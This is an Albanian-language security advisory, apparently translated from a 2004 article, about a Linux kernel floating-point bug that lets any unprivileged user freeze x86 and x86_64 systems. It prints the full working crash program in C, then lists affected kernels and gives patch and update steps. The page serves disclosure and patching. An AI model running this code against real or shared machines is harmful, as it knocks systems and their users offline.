You are here

Zbulohet një tjetër e çarë në kernel Linux

AlbLinux's picture

Lajmi është i datës 11, por po e përcjell tani duke parë që shumica e shpërndarjeve të njohura Linux kanë korrigjuar difektin e ndeshur.

Një difekt në kernel Linux i jep mundësinë një programi të thjeshtë në C të çojë në crash kernel-in, duke bllokuar në fakt të gjithë sistemin. E çara e sigurisë prek si versionet 2.4.2x ashtu dhe 2.6.x të kernel, në arkitekturat x86 dhe x86_86.


  • Kodii dëmshëm
  • Kernel-ëte prekshëm
  • Kernel-ëte paprekur nga difekti
  • Efekti
    • Tëjesh i përgatitur
  • Sitë mbroheni
    • Patchpër Kernel 2.4.2x, x86 dhe x86_86
    • Patchpër Kernel 2.6.xx, x86 dhe x86_86
    • Përdoruesite Fedora Core 2
    • Përdoruesite Gentoo Linux
  • Bugreports

Kernel është pjesa me e rendësishme e sistemeveoperativë Linux. Ai administron komunikimin me pjesënhardware të kompjuterit dhe vendos prioritetin e zbatimit tëprogrameve (proçeseve). Nëse kernel ndalon së kryerifunksionin e tij, gjithçka tjetër gjithashtu ndalon.

E çara u zbulua aksidentalisht nga Stian Skjelstad dukeeksperimentuar disa kode. Kuptohet habia e tij kur vuri re që kodiqë ishte duke provuar arrinte të bllokonte krejt sistemin.Difekti i ndeshur u njoftua menjëherë tek mailing list eLinux-kernel dhe tek bugzilla e gcc (09-06-2004).

Kodi i dëmshëm

Thjesht duke zbatuar këtë program të shkurtërnëC bllokohet kernel i Linux.

crash.c.txt

 #include 
#include
#include

static void Handler(int ignore)
{
char fpubuf[108];
__asm__ __volatile__ ("fsave %0 " : : "m"(fpubuf));
write(2, "*", 1);
__asm__ __volatile__ ("frstor %0 " : : "m"(fpubuf));
}

int main(int argc, char *argv[])
{
struct itimerval spec;
signal(SIGALRM, Handler);
spec.it_interval.tv_sec=0;
spec.it_interval.tv_usec=100;
spec.it_value.tv_sec=0;
spec.it_value.tv_usec=100;
setitimer(ITIMER_REAL, &spec, NULL);
while(1)
write(1, ".", 1);

return 0;
}
 
Ky bug është verifikuar të ndeshet kur kodi kompilohet me GCC në versionet 2.96, 3.0, 3.1, 3.2, 3.3 dhe 3.3.2 dhe përdorur tek
kernel Linux të versioneve 2.4.2x dhe 2.6.x në sistemet x86 dhe amd64.

Kernelët e prekshëm

Janë verifikuar dhe numrat minorë të versioneve,nëvazhdim vetëm maja e aisbergut:

  • Linux 2.6.x
    • 2.6.7-rc2
    • 2.6.6 (vanilla)
    • 2.6.6-rc1 SMP (verifikuar nga blaise)
    • 2.6.6 SMP (verifikuar nga riven)
    • 2.6.5-gentoo (verifikuar nga RatiX)
    • 2.6.5-mm6 - (verifikuar nga Mariux)
    • 2.6.5 (fedora core 2 vanilla)
    • 2.6.3-13mdk (Mandrake)
  • Linux 2.4.2x
    • 2.4.26 vanilla
    • 2.4.26, grsecurity 2.0 config
    • 2.4.26-rc1 vanilla
    • 2.4.26-gentoo-r1
    • 2.4.22
    • 2.4.22-1.2188 Fedora FC1 Kernel
    • 2.4.20 RH7.3 (gcc 2.96)
    • 2.4.18-bf2.4 (debian woody vanilla)

Edhe kernel-ët e patch-uar me patch grsecurity bllokohen."Shpresoja që grsectë arrinte të bllokonte apo të shënonte ndonjëgjë, por asgjë nuk rezulton në logs." Vincent

Kernels e paprekur

Kodi i mësipërm nuk bën asgjë dhe përfundon memesazhin e gabimit Floating point exception dhe nuk isjell asnjë dëm sistemeve që janë duke ekzekutuar

  • Linux nudge 2.6.5-1um i686 (the user-mode Linux kernel) DylanSmith
  • Linux Kernel 2.6.4 SMP patch-uar me scheduler staircase Guille
  • Linux kernel 2.4.26-rc3-gentoo (gcc 3.3.3)
  • Linux kernel 2.4.26_pre6-gentoo (gcc 3.3.2)
  • Linux Kernel 2.4.25-gentoo-r1 Charles A. Haines (3G Publishing)
  • 2.2.19-kernel

Nuk është e qartë përse versioni ipatch-uar 2.4.26 i Gentoo është i sigurt dhe versionet etjerë të kernel për Gentoo nuk janë.

User-mode Linux kernel 2.6.5-1um është i sigurt. Prezupojqëdhe versionet e tjerë janë të sigurt (user mode Linux).

Linux Kernel 2.6.4 SMP i patch-uar ështëraportuar si i sigurt. Raportuesi përdor një version tëpatch-uar me Con Kolivas Staircasescheduler(por ka efekt vetëm tek skeduesi i proçeseve). Gcc version3.3.3. "Sisstemi nuk bllokohet, unë e lashë në ekzekutimprogramin bllokues për 10 minuta, pastaj e përfundovaprogramin e vazhdova të përdor sistemin tim pa asnjëpasojë". Guille

glitch është verifikuar i pranishëmLinux2.5.6 SMP dhe Linux 2.6.6 SMP.

Ky bug nuk prek versionin 2.2.19, mesa duket prek versionet2.4 e sipër.

Efekti

Përdorimi i këtij exploit përtë bllokuar sostemet Linux kërkon qëpërdoriesi të ketë hyrje shellapo rrugë të tjera për tëngarkuar dhe zbatuar programin (si p.sh. cgi-bin dhe hyrje FTP).Programi funksionon me të drejtat e përdoruesitnormal, nuk nevoiten të drejtat e root. Mesaështë raportuarky kod është përdorur për të hedhurposhtë server-ët që "afrojnë lame free-shell" (dukezbatuar këtë kod jeni të qartë që do tëdëmtoni një sistem në menyrë tëqëllimshme dhe hacking në përgjithësi nëshumicën e shteteve të botës është ilegale dhediskurajohet me forcë).

Ky kod funksionon vetëm në makinat Linux x86 dhe x86_86.Ky kod nuk mund të kompilohet në sparc64 sun4u TIUltraSparc II (BlackBird). Ai nuk prek NetBSD Stable.

Sistemet SMP mund të kompromentohen, por nevoitenproçese të veçantë të programit përçdo CPU para se sistemi të ndalojë. Proçesi iveçantë i kodit do të bllokojë një CPU dheky proçes nuk mund të përfundohet (vritet). Nësekeni dy CPU, proçesi i dytë i programit do tëbllokojëtë gjithë makinën.

Të jesh i përgatitur

Kontrollo vetë sistemin nëse mendon qëështë i prekshëm nga ky exploit. Duke parashikuarmundësinë e bllokimit të tij, sync(ose unmount) file e sistemit para se të kryesh provën. Nësesistemi juaj është një serverprodhimi me 1000 përdorues on line,eksperimentoje këtë kod në njëmakinë tjetër të ngjashme.

Nëse keni aktivuar Magic SysRq (CONFIG_MAGIC_SYSRQ=y,e gjeni në make menuconfig tek Kernel hacking-> Magic SysRq key) tek kernel-i juaj, mund tërinisni sistemin tuaj në menyrë të pastër pasi tëjetë bllokuar nga kodi duke përdorur kombinimet e mëposhtmenë tastierë:

  1. Alt-SysRq-R (tastiera në modalitet raw)
  2. Alt-SysRq-S (ruaj në disk të dhënat e paruajtura)
  3. Alt-SysRq-E (dërgo sinjal përfundimi)
  4. Alt-SysRq-I (dërgo sinjal përfundimi të detyruar)
  5. Alt-SysRq-U (remount të gjithë filee e montuar tësistemit)
  6. Alt-SysRq-B (rinis sistemin)


Si të mbroni vetveten

Ditët e fundit u mërzita, kisha dëshirë tëpublikoja dhe kodin korrigjues së bashku me kodin e dëmshëm.Kompilimi i një numri të madh kernel-ësh nëversione të ndryshme vetëm për të provuar që gcccrash.c -o evil && ./evilbllokon sistemin nuk është kënaqësia më e madhenë jetë. Shpresoja që disa nga kernel-ët tëishin të paprekur m.q.s. 2.4.26-rc3-gentoo dhe 2.4.26_pre6-gentoonuk janë, por për fat të keq gati të gjithëversionet e kernel-ëve vdisnin kur zbatohej kodi i dëmshëm.Korrigjimet e përkohëshme janë dërguar këtu,por asnjëri prej tyre është me të vërtetëi përsosur.

Për fat të mirë, the kernel team ështëgati për të lëshuar korrigjimet zyrtare.Korrigjimet e duhura janë deklaruar tani nga Linus Torvalds.

Patch për 2.4.2x Kernels, x86 dhe x86_86

  • Patch (I duhur) për 2.4.2x, x86:
    • Bitkeeperi387.h patch x86
  • x86-64 mungon tek Bitkeeper, André Tomt ka dërguarpatchesqë përfshijnë x86_64 në http://tomt.net/kernel/clear_fpu/
    • 24_kernel_ia32-and-x86_64-fix-fpu-state.patch

Kodi i dëmshëm nuk mund të dëmtojë asgjëpas aplikimit të patch, por do të mbajë nëekzekutim 99% CPU para se të përfundohet (sikurse çdoproçes tjetër).

Ndiq këto hapa për të marrë një kernel tësigurt vanilla:

  1. Lexo KernelRebuild Guide nëse është hera e parë qëkompiloni kernel-in tuaj
  2. Shkarko buruesin e fundit të kernel, linux-2.4.26.tar.bz2,nga Linux KernelMirror
  3. Hap buruesin e kernel dhe krijo një lidhje simbolike:
    • cd /usr/src/
    • tar xfvj linux-2.4.26.tar.bz2
    • ln -s linux-2.4.26 linux
  4. Shkarko korrigjimin për 2.4.26: 24_kernel_ia32-and-x86_64-fix-fpu-state.patch.txt
  5. Apliko korrigjimin
    • patch -p1 -d /usr/src/linux-2.4.26<24_kernel_ia32-and-x86_64-fix-fpu-state.patch.txt
  6. Konfiguro dhe kompilo si zakonisht.
    • make dep bzImage modules modules_install
    • mount /boot (disa shpërndarje montojnë /boot në nisje)
    • cp arch/i386/boot/bzImage /boot

Këto patches duhen aplikuar tek të gjithë versionet2.4.xx.

Patch kernel 2.6.xx, x86 dhe x86_86

  • Patch për 2.6.x, x86:
    • Bitkeeperi387.h patch x86
  • Patch për 2.6.x, x86_86:
    • Bitkeeperi387.h patch x86_86
  • Së bashku: 26_kernel_ia32-and-x86_64-fix-fpu-state.patch
  1. Lexo KernelRebuild Guide nëse kjo është hera e parë qëkompiloni kernelin tuaj
  2. Shkarko një kernel 2.6.x nga kernel.org dhe hape tek/usr/src
  3. Merr 26_kernel_ia32-and-x86_64-fix-fpu-state.patch.txt
  4. patch -p1 -d /usr/src/linux-2.6.7-rc2<26_kernel_ia32-and-x86_64-fix-fpu-state.patch.txt
  5. Ndiq hapat e zakonshëm.


Përdoruesit e Fedora Core 2

Red Hat ka lëshuar një kernel të patch-uar përFedora Core 2.(Fedora Update Notification FEDORA-2004-171 2004-06-14)

sudo yum -y update kernel*

do të rifreskojë kernel-in tuaj në Versionin e sigurt: 2.6.6, Release :1.435.

Përdoruesit e Gentoo Linux

Kernel-ët e sigurt (patched) për GentooLinux lëshohen në datën 2004-06-15:

  • gentoo-sources2.4.26-r2
    • Buruesi i plotë, përfshirë gentoo patchset përdegën kernel 2.4
  • gaming-sources2.4.20-r12
    • Buruesi i plotë për Gentoo gaming-optimized kernel
  • gs-sources2.4.25_pre7-r6
    • Ky kernel përfshin current kernel -pres, acpi,evms efundit ,win4lin,futexes,aic79xx, superfreeswan,preempt, dhe korrigjime tëndryshmehw .
  • xfs-sources2.4.24-r7
    • Buruesi i plotë për XFS Specialized Gentoo Linuxkernel
  • vserver-sources2.4.26.1.3.9-r1
    • Linux kernel me DEVEL version ctx-/vserver-patch


Bug reports

  • The exploit was reported asgcc bug 15905 2004-06-09.
  • This is reported to the linux-kernellist with the subject timer+ fpu stuff locks my console race.
  • Reported to Gentoo Bugzillaas bug 53804

The lastest version of this documents is available at http://linuxreviews.org/ - Pagesource:
  • t2t:2004-06-11_kernel_crash.t2t.tar.bz2